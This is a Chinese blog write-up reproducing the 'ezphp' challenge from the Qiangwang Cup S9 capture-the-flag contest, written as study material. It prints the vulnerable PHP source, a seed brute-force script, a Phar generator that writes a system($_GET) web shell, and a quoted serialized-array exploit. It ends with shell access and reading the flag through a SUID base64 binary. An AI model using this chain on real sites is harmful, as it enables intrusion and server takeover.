强网杯s9尝试复现

强网杯 s9 尝试复现

ezphp

tags: 反序列化,php匿名类调用,phar传马,suid提权

源码:

1
function generateRandomString($length = 8){$characters = 'abcdefghijklmnopqrstuvwxyz';$randomString = '';for ($i = 0; $i < $length; $i++) {$r = rand(0, strlen($characters) - 1);$randomString .= $characters[$r];}return $randomString;}date_default_timezone_set('Asia/Shanghai');class test{public $readflag;public $f;public $key;public function __construct(){$this->readflag = new class {public function __construct(){if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) {$time = date('Hi');$filename = $GLOBALS['filename'];$seed = $time . intval($filename);mt_srand($seed);$uploadDir = 'uploads/';$files = glob($uploadDir . '*');foreach ($files as $file) {if (is_file($file)) unlink($file);}$randomStr = generateRandomString(8);$newFilename = $time . '.' . $randomStr . '.' . 'jpg';$GLOBALS['file'] = $newFilename;$uploadedFile = $_FILES['file']['tmp_name'];$uploadPath = $uploadDir . $newFilename; if (system("cp ".$uploadedFile." ". $uploadPath)) {echo "success upload!";} else {echo "error";}}}public function __wakeup(){phpinfo();}public function readflag(){function readflag(){if (isset($GLOBALS['file'])) {$file = $GLOBALS['file'];$file = basename($file);if (preg_match('/:\/\//', $file))die("error");$file_content = file_get_contents("uploads/" . $file);if (preg_match('/<\?|\:\/\/|ph|\?\=/i', $file_content)) {die("Illegal content detected in the file.");}include("uploads/" . $file);}}}};}public function __destruct(){$func = $this->f;$GLOBALS['filename'] = $this->readflag;if ($this->key == 'class')new $func();else if ($this->key == 'func') {$func();} else {highlight_file('index.php');}}}$ser = isset($_GET['land']) ? $_GET['land'] : 'O:4:"test":N';@unserialize($ser);

ai反混淆之后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
<?php

// 生成指定长度的随机小写字母字符串
function generateRandomString($length = 8) {
$characters = 'abcdefghijklmnopqrstuvwxyz';
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$r = rand(0, strlen($characters) - 1);
$randomString .= $characters[$r];
}
return $randomString;
}

// 设置时区为上海
date_default_timezone_set('Asia/Shanghai');

// 定义 test 类
class test {
public $readflag;
public $f;
public $key;

public function __construct() {
// 初始化 readflag 属性为匿名类实例
$this->readflag = new class {
public function __construct() {
// 文件上传处理逻辑
if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) {
$time = date('Hi'); // 当前时间的小时和分钟(如 1423)
$filename = $GLOBALS['filename'];
$seed = $time . intval($filename);
mt_srand($seed); // 设置随机种子

$uploadDir = 'uploads/';

// 删除 uploads 目录下所有旧文件
$files = glob($uploadDir . '*');
foreach ($files as $file) {
if (is_file($file)) {
unlink($file);
}
}

// 生成随机字符串作为文件名的一部分
$randomStr = generateRandomString(8);
$newFilename = $time . '.' . $randomStr . '.jpg';
$GLOBALS['file'] = $newFilename;

$uploadedFile = $_FILES['file']['tmp_name'];
$uploadPath = $uploadDir . $newFilename;

// 使用 system 复制上传文件(存在命令注入风险)
if (system("cp " . $uploadedFile . " " . $uploadPath)) {
echo "success upload!";
} else {
echo "error";
}
}
}

// 反序列化时触发 phpinfo()
public function __wakeup() {
phpinfo();
}

// 读取 flag 的方法(嵌套函数定义,实际不会执行)
public function readflag() {
function readflag() {
if (isset($GLOBALS['file'])) {
$file = $GLOBALS['file'];
$file = basename($file);

// 检查文件名是否包含 "://"
if (preg_match('/:\\/\\//', $file)) {
die("error");
}

$file_content = file_get_contents("uploads/" . $file);

// 检查文件内容是否包含危险关键字
if (preg_match('/<\\?|\\:\\/\\/|ph|\\?\\=/i', $file_content)) {
die("Illegal content detected in the file.");
}

// 包含文件(可能导致代码执行)
include "uploads/" . $file;
}
}
}
};
}

// 析构函数:在对象销毁时执行
public function __destruct() {
$func = $this->f;
$GLOBALS['filename'] = $this->readflag; // 将 readflag 赋值给全局变量 filename

if ($this->key == 'class') {
new $func(); // 实例化类
} elseif ($this->key == 'func') {
$func(); // 调用函数
} else {
highlight_file('index.php'); // 默认显示源码
}
}
}

// 反序列化用户输入
$ser = isset($_GET['land']) ? $_GET['land'] : 'O:4:"test":N';
@unserialize($ser);

?>

先尝试触发反序列化吧,

1
2
3
4
5
6
7
8
9
10
11
<?php
class test{
public $readflag;
public $f;
public $key;
}

$a=new test;
$a->f ="phpinfo";
$a->key = 'func';
echo serialize($a);

对应题目

1
2
3
4
5
6
7
8
9
10
11
12
public function __destruct() {
$func = $this->f;
$GLOBALS['filename'] = $this->readflag; // 将 readflag 赋值给全局变量 filename

if ($this->key == 'class') {
new $func(); // 实例化类
} elseif ($this->key == 'func') {
$func(); // 调用函数
} else {
highlight_file('index.php'); // 默认显示源码
}
}

note:这里的$func()会把变量$func的字符当做函数来执行

根据上传文件的思路:
是要触发反序列化上传文件,然后来传马
要进入到readflag函数里才能上传文件,但是能看到文件上传的readflag函数在readflag变量里定义的匿名类里,是无法正常调用的。

匿名类:

1
$this->readflag = new class{}

这里我们能看到,若是直接new readflag是会返回class realflag 不存在的,因为readflag是一个变量名!
而上传文件的函数的readflag()在匿名类里,要想上传文件就需要进入到匿名类。

这里能看到匿名类的命名规则,在正常的程序会命名在 ‘行数$第几个定义的’
直接从路径上调用这个类里函数就能成功调用。

.phar写马

接下来就是要传马了,能看到php里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function readflag() {
function readflag() {
if (isset($GLOBALS['file'])) {
$file = $GLOBALS['file'];
$file = basename($file);
if (preg_match('/:\\/\\//', $file)) {
die("error");
}
$file_content = file_get_contents("uploads/" . $file);
if (preg_match('/<\\?|\\:\\/\\/|ph|\\?\\=/i', $file_content)) {
die("Illegal content detected in the file.");
}

// 包含文件(可能导致代码执行)
include "uploads/" . $file;
}
}
}

正则还是很严格的,
看到师傅们的wp是传phar马,以前都不知道有这种东西,学习了。

note: phar 传马

PHP 的 include 触发 Phar 反序列化的条件:
不需要 .phar 扩展名!只需要文件内容是合法的 Phar 包,并且文件名中包含 phar 子串即可。

php的include函数只要一匹配到phar就会把文件当成phar执行,这样就可以写入木马

然后去找一个phar写马文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();

$stub = <<<'STUB'
<?php
system('echo "<?php system(\$_GET[1]); ?>" > 1.php');
__HALT_COMPILER();
?>
STUB;

$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();

?>

之后我们需要运行文件来生成phar文件,然后把phar名字按waf改掉,不要出现ph,然后用gzip压缩为gz文件

然后是要在文件名里写入phar这个关键字,但是文件名我们不可控。
代码里会强制命名上传文件为.jpg后缀并且随机分配命名。
接下来的思路是,因为文件名是随机的,但是随机种子是根据我们文件名来生成的,需要随机到phar这个组合

1
2
3
4
5
6
7
8
$seed = $time . intval($filename);
mt_srand($seed);

$randomStr = generateRandomString(8);
$newFilename = $time . '.' . $randomStr . '.jpg';
$GLOBALS['file'] = $newFilename;
$uploadedFile = $_FILES['file']['tmp_name'];
$uploadPath = $uploadDir . $newFilename;

随机字符的生成由seed控制,而seed的生成又可以由文件名来控制,
而php intval函数来获取整数,
可以尝试写个脚本来爆破当前时间+特定字符能出来.phar字符的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
date_default_timezone_set('Asia/Shanghai');

function generateRandomString($length = 8) {
$characters = 'abcdefghijklmnopqrstuvwxyz';
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$r = rand(0, strlen($characters) - 1);
$randomString .= $characters[$r];
}
return $randomString;
}

$filnename = 0;
$end = 0;
for(mt_srand($seed);$end==0;$filnename++){
$randomstr = generateRandomString(8);
$time = date("Hi");
$seed = $time.$filnename;
if (preg_match('/.phar/', $randomstr)){$end = 1;}
echo "当前种子:".$seed;
echo "\n";
echo "当前随机结果:".$randomstr;
}
if($end = 1){
echo "正确的种子和结果文件名:".$seed;
echo " ".$randomstr;
}

数组序列化

最后要同时触发实例化类调用函数
思路是构造一个数组类的序列化,这里我们直接看星盟战队的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php
function generateRandomString($length = 8)
{
$characters = 'abcdefghijklmnopqrstuvwxyz';
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$r = rand(0, strlen($characters) - 1);
$randomString .= $characters[$r];
}
return $randomString;
}
date_default_timezone_set('Asia/Shanghai');

// 原题的随机字符生成方法

class test
{
public $readflag;
public $f;
public $key;
}

$readflag=1;
while (true){
$time = date('Hi');
$seed = $time . intval($readflag);
mt_srand($seed);
$str = generateRandomString(8);
if(substr($str, 0, 4) === 'phar'){
echo $readflag, PHP_EOL.'<br />';
echo $str, PHP_EOL.'<br />';
echo $seed, PHP_EOL.'<br />';
break;
}else{
$readflag++;
}
}
// 随机种子猜测方法,这里要求要生成的前4个字符组成连续的'phar',刚才我自己写的没有这个要求

$test = new test();
$test->readflag = $readflag;
$test->key = 'class';
$test->f = 'test';

$test2 = new test();
$test2->readflag = $readflag;
$test2->key = 'func';
$test2->f = urldecode("%00readflag/var/www/html/index.php(1) : eval()'d code:1$1"); //调用匿名类里函数的办法,也和我上面的不一样

$exp=serialize(array($test, $test2));
echo $exp, PHP_EOL.'<br />';
?>
<!DOCTYPE html>
<html>
<head>
<title>File Upload</title>
</head>
<body>
<h2>Upload File</h2>
<form action='http://localhost:8080/?land=<?php echo urlencode($exp);?>' method="post" enctype="multipart/form-data">
<input type="file" name="file" required>
<input type="submit" value="Upload">
</form>
</body>
</html>

注意里面的细节

1
2
随机种子猜测方法,这里要求要生成的前4个字符组成连续的'phar',刚才我自己写的没有这个要求
调用匿名类里函数的办法,也和我上面的不一样

实测这个exp的调用才是有效的。。。

然后访问
http://localhost:8080/shell.php?cmd=ls

getshell。

suid提取

原题是没有权限读取flag的。
find 4000权限,然后发现有base64有,直接用base64读取然后输出即可。

学习的wp: https://blog.xmcve.com/2025/10/20/%E5%BC%BA%E7%BD%91%E6%9D%AFS9-Polaris%E6%88%98%E9%98%9FWriteup/#title-12


强网杯s9尝试复现
https://aidemofashi.github.io/2026/01/22/强网杯s9尝试复现/
作者
aidemofashi
发布于
2026年1月22日
许可协议